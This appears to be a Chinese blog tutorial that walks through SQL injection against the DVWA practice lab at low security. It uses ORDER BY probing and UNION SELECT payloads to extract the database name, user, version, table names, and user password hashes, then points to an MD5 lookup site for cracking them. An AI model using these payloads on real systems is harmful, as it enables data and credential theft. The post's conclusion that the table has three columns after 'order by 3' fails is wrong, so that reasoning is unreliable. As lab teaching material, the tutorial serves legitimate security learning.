SQL 注入基础系列1——猜解数据库

DVWA.security=low.SQL Injection

后台查询语句:

//后台查询Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';

//当user_id输入1时,实际执行的Sql语句是
SELECT first_name, last_name FROM users WHERE user_id = '1';

1、确定数据表列数——1' order by 1# 

//Mysql语法中,#后面的内容会被注释掉
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;

“order by 1” 指将第一列的数据按升序排列。

order by 1和order by 2都能正常返回数据,当“1' order by 3#”时,返回报错信息:

由此可知,该数据表只有3列。

2、联合查询,获取数据库信息——union select

使用 union 查询时,union左右两侧的查询语句的列数要相同,否则会出错。

  • 获取数据库名称、当前用户 
// 1' union select database(),user()#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

  • 获取数据库版本、当前操作系统信息 
//1' union select version(),@@version_compile_os#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

  • 获取dvwa数据库中的表名
//1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#`;

可知,dvwa 数据库有两个数据表,分别是 guestbook 和 users 。

  • 获取用户名、密码——大胆猜测user表的用户名、密码字段分别为:username和password
//1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select username,password from users#`;

哎呀,猜错了~~,可是这个报错信息很给力啊

继续,大胆猜测user表的用户名字段为:user

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

 

成功爆出用户名、密码。密码采用 md5 进行加密,可以到www.cmd5.com进行解密。

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值